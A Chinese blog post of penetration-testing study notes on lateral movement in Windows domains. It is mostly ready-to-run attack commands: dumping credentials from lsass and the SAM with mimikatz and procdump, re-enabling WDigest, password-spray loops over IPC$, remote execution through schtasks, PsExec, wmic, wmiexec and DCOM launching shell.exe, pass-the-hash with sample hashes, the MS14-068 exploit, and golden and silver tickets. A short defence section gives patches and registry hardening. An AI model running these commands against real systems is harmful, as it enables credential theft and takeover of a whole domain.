文章目录

  • 0x00 Windows系统密码和Hash获取分析和防范
    • 1. Windows 系统密码和Hash获取
      • 1.1 使用工具将散列值和明文从内存中导出。
      • 1.2 通过SAM和System文件抓取密码
      • 1.3Mimikatz 在线读取Hash和密码明文
      • 1.4 Mimikatz 离线读取Hash和密码明文
      • 1.5 Nishang
    • 2. 防范密码和Hash凭证窃取
  • 0x01 哈希传递攻击和防范
  • 0x02 IPC
    • 1. IPC 入侵
    • 2. 计划任务 at schtasks
      • at
      • schtasks
    • 3. impacket 工具包批量 验证
      • 3.1 atexec
      • 3.2 明文凭证传递
      • 3.3 NTLM Hash 传递
  • 0x03 PsExec && smbexec
    • 1. PsExec
    • 2. Metasploit使用 psexec
    • 3. smbexec (Impacket工具包)
  • 0x04 WMI
    • 1. WMI基本命令
    • 2. cscript
    • 3. wmiexec (Impacket工具包)
  • 0x05 DCOM远程系统中的使用
    • 1. 获取DCOM程序列表
    • 2. 使用DCOM本地执行命令
    • 3. 通过DCOM控制远程主机执行命令
      • 3.1 调用MMC20.Application远程执行命令
      • 3.2 调用ShellWindows远程执行命令
      • 3.3 调用Excel.Application远程执行命令
      • 3.4 调用ShellBrowserWindow远程执行命令
  • 0x06 SPN在域内的应用
    • 1. SPN扫描
    • 2. 常见SPN服务
      • 2.1 MSSQL服务
      • 2.3 RDP服务
      • 2.4 WSMan/WinRM/PSRemoting服务
    • 3. SPN查询(setspn)
    • 4. SPN扫描的 Powershell脚本
  • 0x04 PTH&PTK&PTT
    • 1. PTH(pass-the-hash)
    • 2. PTK(pass-the-keys)
    • 3. PTT(pass-the-ticket)
      • 3.1 ms14-068
      • 3.2 Golden ticket(黄金票据)
      • 3.3 Silver ticket(白银票据)

  横向移动技术实在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁(Advanced Persistent Threats, APT)中。攻击者会利用在技术, 以被攻陷的机器为跳板,访问其他域内的主机,扩大资产范围(通过跳板机器中的文档和存储的凭证,以及通过跳板机连接的数据库、域控制器或其他重要资产)

  通过此类攻击手段,攻击者最终可能获得域控制器的访问权限,甚至安全控制基于Windows操作系统的基础设施与业务相关的关键账户。因此必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他重要机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的信息失效。
  在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH(Pass the Hash 凭证传递)的方法,将散列或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程Windows操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络条件差,无法用图形化界面远程连接主机。此时,可以使用命令行的方式连接目标主机并执行命令。

0x00 Windows系统密码和Hash获取分析和防范

  Windows 操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存放储在ntds.dit中,加密后为散列值。
  Windows操作系统中密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。Hash架构通常为:
username:RID:LM-HASH:NT-HASH
  NTLM Hash是LM Hash的升级版本,算法更加安全。NTLM Hash是基于MD4加密算法的。个人版从Windows Vista后,服务器版本从Windows Server 2003以后,Windows操作系统的认证方式均为NTLM Hash。

1. Windows 系统密码和Hash获取

1.1 使用工具将散列值和明文从内存中导出。

  1. GetPass1. PwDump71. QuarksPwDump1. mimikatz

1.2 通过SAM和System文件抓取密码

# 导出sam 和 system文件
reg save hklm\sam sam.hive  reg save hklm\system system.hive
# mimikatz读取SAM 和 System文件
mimikat.exe "lsadump:sam /sam:sam.hive  /system:system.hive"

1.3Mimikatz 在线读取Hash和密码明文

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.txt

1.4 Mimikatz 离线读取Hash和密码明文

lsass.exe进程用于实现Windows安全策略,可以使用工具 从lsass.dmp文件读取Hash和明文密码。

#  Procdump工具导出 lsass.dmp文件
Procdump.exe  -accepteula  -ma lsass.exe lsass.dump
#  mimikatz读取 lsass.dmp中Hash和密码
mimikatz.exe "sekurlsa::minidump C:\Users\Administrator\AppData\Local\Temp\lsass.DMP" "sekurlsa::logonPasswords full" "exit"

1.5 Nishang

Import-Module .\nishang.psm1
Get-PassHashes

  Windows Server 2012以上版本默认关闭Wdigest,攻击者无法从内存中获取明文密码,Windows Server 2012以下版本如安装KB2871997补丁,同样会导致无法获取明文密码。
Wdigest Auth关闭和开启

# 开启
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 关闭
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

2. 防范密码和Hash凭证窃取

  • 设置 Windows Server 2012 R2 Active Directory 功能级别

  在Windows Server 2012 R2新增一个名为“受保护的用户”的用户组,将需要保护的组加入组内,攻击者就无法使用mimikatz等工具抓取密码和Hash了。

  • 安装KB2871997补丁
  • 修改注册表禁止在内存中存储明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

0x01 哈希传递攻击和防范

  在内网渗透中,我们经常会需要抓取管理员密码、NTLM Hash,通过搜集这些信息有助于我们扩大战果,尤其是域环境。

  • 什么是哈希传递

哈希传递是能够在不需要账户明文密码的情况下完成认证的一种技术

  • 哈希传递的作用

解决渗透中获取不到明文密码、破解不了NTLM Hash而又想扩大战果的问题。

0x02 IPC

  IPC(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

net use \\server\ipc$"password" /user:username        # 工作组
net use \\server\ipc$"password" /user:domain\username # 域用户
dir \\xx.xx.xx.xx\C$\                                 # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat                     # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$                           # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del                   # 删除IPC
net view xx.xx.xx.xx                                  # 查看对方共享

1. IPC 入侵

# 创建 IPC连接
net use \\IP\ipc$ <PASSWORD> /user:<USERNAME>
# 写入文件到目标机器
copy C:\Users\Box\Desktop\calc.bat \\192.168.190.128\C$
#删除IPC
net use <名称> /del /y

2. 计划任务 at schtasks

at

at是Windows自带的计划任务命令,适用于Windows 2008以及之前操作系统本

# 创建计划任务
at \\192.168.190.128 14:52 C:\calc.bat
# 等待任务执行后 删除计划任务
at \\192.168.190.128 <id> /delete

schtasks

schtasks 是WIndow自带的计划任务命令,适用于Windows 2012以及之后版本

# 创建计划任务
# 在远程主机创建一个名为“test”的计划任务,该任务开机启动,启动程序为c盘下的calc.bat,启动权限为System
schtasks /create  /s 192.168.190.12 /tn test /sc onstart /tr c:\calc.bat /ru system /f# 执行下面命令运行该计划任务
schtasks /run /s 192.168.190.128 /i /tn "test"
# 计划任务运行后,输入下面命令,删除该计划任务
schtasks /delete /s 192.168.190.128 /tn "test" /f

3. impacket 工具包批量 验证

  Impacket官方介绍为用于处理网络协议的Python类的集合,该集合包含了渗透测试中常见的工具种类,包括远程命令执行、信息收集、票据传递、凭据获取、中间人攻击测试等。该套件里的工具使用也是linux主机跳向windows主机的方式之一。
net use \\IP\ipc$ <PASSWORD> /user:<USERNAME>

使用 net use 命令批量连接 ipc

FOR /F %%i in (ip.txt) do net use \\%%i\ipc$  "123.com"  /user:administrator

通过内网信息收集 获取 IP 用户名 凭证信息 进行交叉爆破

for /F %%i in (ip.txt) do (for /F %%u in (user.txt) do (for /F %%p in (password.txt) do (net use \\%%i\ipc$ %%p /user:%%u) )
)
pause

3.1 atexec

atexec 是 impacket工具包中的用于明文和hash传递的一个命令

atexec.exe ./administrator:Admin12345@192.168.xx.xx "whoami" #连接本地用户administratoratexec.exe xxx.com/administrator:Admin12345@192.168.xx.xx "whoami" #连接域用户administratoratexec.exe -hashes:xxx ./administrator@192.168.xx.xx "whoami" #连接本地用户administrator并进行hash传递执行whoami命令

3.2 明文凭证传递

atexec.exe administrator:123.com@192.168.190.128 "whoami"

mimikat获取 NTLM Hash

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.txt

3.3 NTLM Hash 传递

atexec.exe -hashes :afffeba176210fad4628f0524bfe1942 ./administrator@192.168.190.128 whoami

0x03 PsExec && smbexec

1. PsExec

  PsExec属于PsTools工具包中的,使用PsExec可以在远程计算机上执行命令,也可以将管理员权限提升至System权限。Psexec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在磁盘中生成一个名为“PSEXECSVC”的二进制文件,通过psexec服务来执行命令,运行结束后删除服务。

# Pstools工具包中
PsExec.exe \\192.168.190.128 -accepteula -u administrator -p 123.com -s cmd
# 使用 NTLM Hash时,使用impacket 工具包中的 psexec
psexec.exe -hashes :afffeba176210fad4628f0524bfe1942  ./administrator@192.168.190.128 -s cmd
  • -accepteula:第一次运行PsExec会弹出确认框,使用该参数后不会确认弹框
  • -s:以System命令执行命令
  • -hashes:指定NTLM Hash


使用PsExec需要注意:

  • 需要远程开启 admin$ 共享
  • 在使用ipc$连接目标系统后,不需要输入账号密码

2. Metasploit使用 psexec

  • exploit/windows/smb/psexec 生成 exe版本payload
  • exploit/window/smb/psexec_psh 生成 powershell版本payload

3. smbexec (Impacket工具包)

#
smbexec doamin/username:password@ip
smbexec.exe -hashes :NTLM Hash domain/username@ip

0x04 WMI

  WMI 的全名为"Windows Management Instrumentation",从Windows 98开始,Windows操作系统都支持WMI。WMI是有一系列的工具集组成的,可以在本地和远程管理计算机。
WMI的特点:

  • 使用WMI进行横向移动时,不会产生日志,增强隐蔽性
  • 执行命令无回显

1. WMI基本命令

使用 wmic命令无回显,不会被杀,只能进行明文认证

# 远程执行命令将结果写入 C:\ipcofnig.txt
wmic /node:192.168.190.128 /user:administrator /password:123.com process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"
# 创建 ipc$连接查看 C:\ipcofnig.txt 内容
net use \\192.168.190.128\C$ 123.com /user:administrator
type \\192.168.190.128\C$\ipconfig.txt

2. cscript

使用cscript进行明文认证,可回显

cscript //nologo wmicexec.vbs //shell 192.168.190.128  administrator  123.com

3. wmiexec (Impacket工具包)

wmiexec 可回显,可使用hash认证 ,不免杀

wmiexec ./administrator:123.com@192.168.190.128 "whoami"
# 域环境 哈希传递
wmiexec -hashes afffeba176210fad4628f0524bfe1942  domain_name/administrator@192.168.190.128 "whoami"

0x05 DCOM远程系统中的使用

  DCOM(分布式组件对象模型)是微软的一系列概念和程序接口,通过DCOM客户端程序可以向网络中的另外一台计算机的服务程序对象发送请求。DCOM是基于组件对象模型 (COM)的。COM提供一套允许在同一台计算机上的客户端和服务器之间进行通信的借口(WIndows 95以后)。

1. 获取DCOM程序列表

# Windows 2012及以上版本
Get-CimInstance Win_32DCOMApplication
# Windows 2012以下版本
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

2. 使用DCOM本地执行命令

# 在本地以管理员启动powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

3. 通过DCOM控制远程主机执行命令

前置条件:

  • 管理员权限的powershell
  • 客户端关闭防火墙
  • 服务端需要域管的administrator账户或者目标主机具有管理员权限的账户
  • 双方主机都需有MMC Application Class这个DCOM组件。

3.1 调用MMC20.Application远程执行命令

# 连接目标机器ipc
net use \\192.168.190.128\ipc$ "123.com" /user:Aministrator
# 通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,然后,它就从远程返回一个COM对象的实例。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.190.128"))# 然后执行如下命令,我们就可以调用"ExecuteShellCommand"方法在远程主机上启动进程
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc","Minimized")

3.2 调用ShellWindows远程执行命令

3.3 调用Excel.Application远程执行命令

# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
$com.DisplayAlerts = $false
​
# 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程:
$com.DDEInitiate("cmd.exe","/c C:\shell.exe")

3.4 调用ShellBrowserWindow远程执行命令

使用条件:适用于Windows 10和Windows Server 2012 R2等版本的系统。

# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138"))
​
# 然后执行如下命令,我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程:
$com.Document.Application.shellExecute("C:\shell.exe")
​
# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138")).Document.Application.shellExecute("C:\shell.exe")

0x06 SPN在域内的应用

Windows域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组,集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。在域环境中运行的大量应用包含了多种资源,为资源的合理分组、分类和再分配提供了便利。微软给域内的每种资源分配了不同的服务主体名称(Service Principal Name, SPN)。

1. SPN扫描

  在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkService、LocalSystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。但是,如果在域用户下运行服务,则必须为要使用的账号手动注册SPN。因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。总之,若想使用Kerberos协议来认证服务,则必须正确配置SPN。
  在 SPN 扫描时我们可以直接通过脚本,或者命令去获悉内网已经注册的 SPN 内容,LDAP 协议全称是 Lightweight Directory Access Protocol,一般翻译都是翻译成 轻量目录访问协议。通俗点可以把 LDAP 协议理解为一个关系型数据库,其中存储了域内主机的各种配置信息。在域控中默认安装有 ADSI 编辑器,它是 LDAP 的编辑器,可以通过在域控中运行 adsiedit.msc 来打开。我们的 SPN 查询,实际上就是就是查询 LDAP 中存储的内容。
  在计算机加入域时,主SPN会自动添加到域的计算机账号的 ServicePrincipalName属性钟,在安装新的服务后,SPN也会被记录在计算机账号的相应属性中。 SPN扫描也称之为“扫描Kerberos服务实例名称”。在活动目录中发现服务是最佳扫描方法,SPN扫描通过请求特定的SPN类型服务主体名称来查找服务。与网络端口扫描相比,SPN不会触发内网中的IPS、IDS等设备规则而产生大量告警。

SPN格式如下:

SPN = serviceclass "/" hostname [":"port] ["/" servicename]
  • serviceclass:服务组件的名称
  • hostname:以”/”与后面的名称分隔,是计算机的FQDN(全限定域名,同时带有计算机名和域名)。
  • port:以冒号分隔,后面的内容为该服务监听的端口号。
  • servicename:一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名。

2. 常见SPN服务

2.1 MSSQL服务

MSSQLSvc/computer1.pentest.com:1443
● MSSQLSvc:服务组件的名称,此处为MSSQL服务。
● computer1.pentest.com:主机名为computer1,域名为pentest.com。
● 1433:监听的端口为1433。

2.2 Exchange服务

exchangeMDB/EXCAS01.pentest.com

2.3 RDP服务

TERMSERV/EXCAS01.pentest.com

2.4 WSMan/WinRM/PSRemoting服务

WSMAN/EXCAS01.pentest.com

3. SPN查询(setspn)

  SetSPN是一个本地windows二进制文件,可用于检索用户帐户和服务之间的映射。该实用程序可以添加,删除或查看SPN注册。(Win2k3版本下没有)

# 查看当前域内所有的SPN:
setspn -q */*
# 查找指定域的SPN
setspn -T hackergu.lab -q */*

4. SPN扫描的 Powershell脚本

  Powershell-AD-Recon工具提供了一系列服务于服务登录账号和运行服务的主机之间对应关系,这些服务包括但不限于MSSQL、Exchange、RDP、WinRM。
项目地址:https://github.com/PyroTek3/PowerShell-AD-Recon

# 利用SPN发现域中所有的MSSQL服务  只需要普通权限就可以进行SPN扫描
Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers
# 扫描域中所有的SPN信息
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices

0x04 PTH&PTK&PTT

1. PTH(pass-the-hash)

  pass-the-hash在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
pass the hash原理:

  • 在Windows系统中,通常会使用NTLM身份认证
  • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
  • hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
  • 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

这类攻击适用于:

  • 域/工作组环境
  • 可以获得hash,但是条件不允许对hash爆破
  • 内网中存在和当前机器相同的密码

  微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。从windows到windows横向pth这一类攻击方法比较广泛

PTH过程

# 1.使用获取Mimikatz获取目标机器Hash
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.txt
# 2.哈希传递
mimikatz.exe sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7

CrackMapExec批量 哈希传递
可以对C段中的主机进行批量pth,项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令

crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7

2. PTK(pass-the-keys)

对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
获取 aes key

# 1. 获取 aes key
mimikatz "privilege::debug" "sekurlsa::ekeys"
# 2. 注入 aes key
mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"

3. PTT(pass-the-ticket)

  ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS16-068,Golden ticket,SILVER ticket。
之前介绍了Kerberos协议具体工作方法,在域中,简要介绍一下:

  • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
  • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
  • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
  • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

3.1 ms14-068

   MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证
简单来说就是:
  windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。

    1. 在请求AS时,将require_PAC设置成False。
    1. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
    1. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)

ms14-068的利用过程:

# 1. 获取用户SID
whoami /user# 2. 执行payload生成TGT票据  exp: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45# 3. 票据注入: 使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件   //将票据注入到内存中# 4. 查看注入是否成功并且登录域控:
klist
# 5. 使用 ipc psexec wmic 等攻击方式横向移动(不要使用IP 使用机器名)# 考虑到mimikatz的pth功能需要本地管理员权限,所以mimikatz也提供了不需要管理员权限的解决方法Pass-The-Ticket
# Pass-The-Ticket需要用到gentilkiwi开源的另一款工具kekeo,下载地址:https://github.com/gentilkiwi/kekeo/releases
# 1. 生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"# 2. 导入票据
kekeo "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"#

3.2 Golden ticket(黄金票据)

  Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
  那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
伪造黄金凭据需要具备下面条件:

  • krbtgt用户的hash(就意味着你已经有域控制器权限了)
  • 域名称
  • 域的SID值
  • 要伪造的用户名

3.3 Silver ticket(白银票据)

  silver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
  不像是Golden ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt.

PTH与PTK使用场景比较

内网渗透学习04——域内横向移动相关推荐

  1. 内网渗透测试:域内权限维持思路总结

    我的Freebuf:https://www.freebuf.com/author/MrAnonymous 我的博客:https://whoamianony.top/ 文章目录 Windows 操作系统 ...

  2. 内网渗透学习-Windows信息收集

    内网渗透学习-Windows信息收集 本章内容主要介绍在获取网站服务器webshell后,怎样对Windows主机进行信息收集,对其网络环境进行分析和利用,主要是一个思路整理,在后续的章节中会整理更详 ...

  3. Windows 内网渗透之攻击域控

    文章目录 内网渗透之攻击域控 前言 高权限读取本地密码 procdump+mimikatz绕过杀软 SYSVOL组策略获取密码 Kerberoasting 暴力破解密码 原理 使用setspn查询sp ...

  4. 内网渗透(四十六)之横向移动篇-使用系统漏洞ms17010横向移动

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

  5. 内网渗透-完整的域渗透

    文章首发于Freebuf:https://www.freebuf.com/articles/network/306284.html 文章目录 域环境 概念 创建域 创建组&用户 加入域 域渗透 ...

  6. 内网安全:内网渗透.(拿到内网主机最高权限 vulntarget 靶场 A)

    内网安全:内网渗透.(拿到内网主机最高权限) 内网穿透又被称为NAT穿透,内网端口映射外网,在处于使用了NAT设备的私有TCP/IP网络中的主机之间建立连接的问题.通过映射端口,让外网的电脑找到处于内 ...

  7. 后渗透(内网渗透学习笔记)

    外网和内网 内网是局域网,在同一个局域网内的各台计算机可以互相ping通(可以相互通信)另外一个局域网内的计算机不可以连入.除非用一台服务器做端口转发.这样才能连入别人内网 而外网就是公网,就是可以让 ...

  8. 内网渗透中的域管与域控快速定位

    在内网渗透的过程中,对内网域管与域控定位的快速定位重要性不言而喻,下面介绍几种常用的方式. #对域管的定位: cmd命令定位net group "Domain Admins" /d ...

  9. 红日靶场vulnstack1 内网渗透学习

    目录 前言: 信息收集: phpmyadmin getshell 日志写shell yxcms getshell 植入后们: 内网域环境信息收集: 基于msf 进行信息收集: 基于msf 内网信息收集 ...

  10. 内网渗透测试第一章——内网基础知识

    (一)内网基础知识 1. 内网概述 内网也指局域网(Local Area Network,LAN)是指在某一区域内由多台计算机互联成的计算机组.一般是方圆几千米以内.局域网可以实现文件管理.应用软件共 ...

最新文章

  1. QT中添加背景图片,颜色,以及字体等
  2. 记录输入框本地记录用户名效果
  3. cookbook_数据结构和算法
  4. js能订阅mq吗_测试工程师,必须了解的MQ知识!
  5. hadoop 回收站Trash
  6. python学习笔记7--面向对象进阶,异常处理,socket编程初识
  7. 手机号正则表达式验证_还不会正则表达式?看这篇!
  8. php 3des 兼容java,java版3des加密程序,可与php兼容
  9. DW标签使用与javascript文档基础介绍
  10. 网络营销成功案例分析篇:NIKE网络营销案例
  11. c++实现右下角弹窗
  12. 国内可用的 ChatGPT
  13. 8.4 向量应用(二)——空间直线
  14. mac markdown_适用于Mac的最佳Markdown编辑器
  15. `java`学习笔记(十二)`Java`--`String``StringBuffer``StringBuilder`
  16. Linux下Subclipse的JavaHL
  17. 使用Dism++备份系统文件并恢复
  18. Windows 10/11离线安装.NET Framework 3.5
  19. 高级技巧之vertical-align属性应用
  20. 数据库优化方法 (一)

热门文章

  1. 显卡内存一直被占用解决方式
  2. 大数据技术架构_独家解读!阿里首次披露自研飞天大数据平台技术架构
  3. 基于bs4的python爬虫-链家新房(广州页面)
  4. elementui下载到本地
  5. 苹果登录skype显示无法连接服务器,无法连接appstore服务器 无法连接appstore服务器怎么办呢...
  6. flea-jersey使用之Flea RESTful接口客户端接入
  7. matlab画柱状图函数,series函数做柱状图
  8. 计算机内存加速,电脑内存使用率过高怎么加速
  9. 笔记———计算机网络原理(三)
  10. 项目管理 - 团队成员无法按期完成任务怎么办?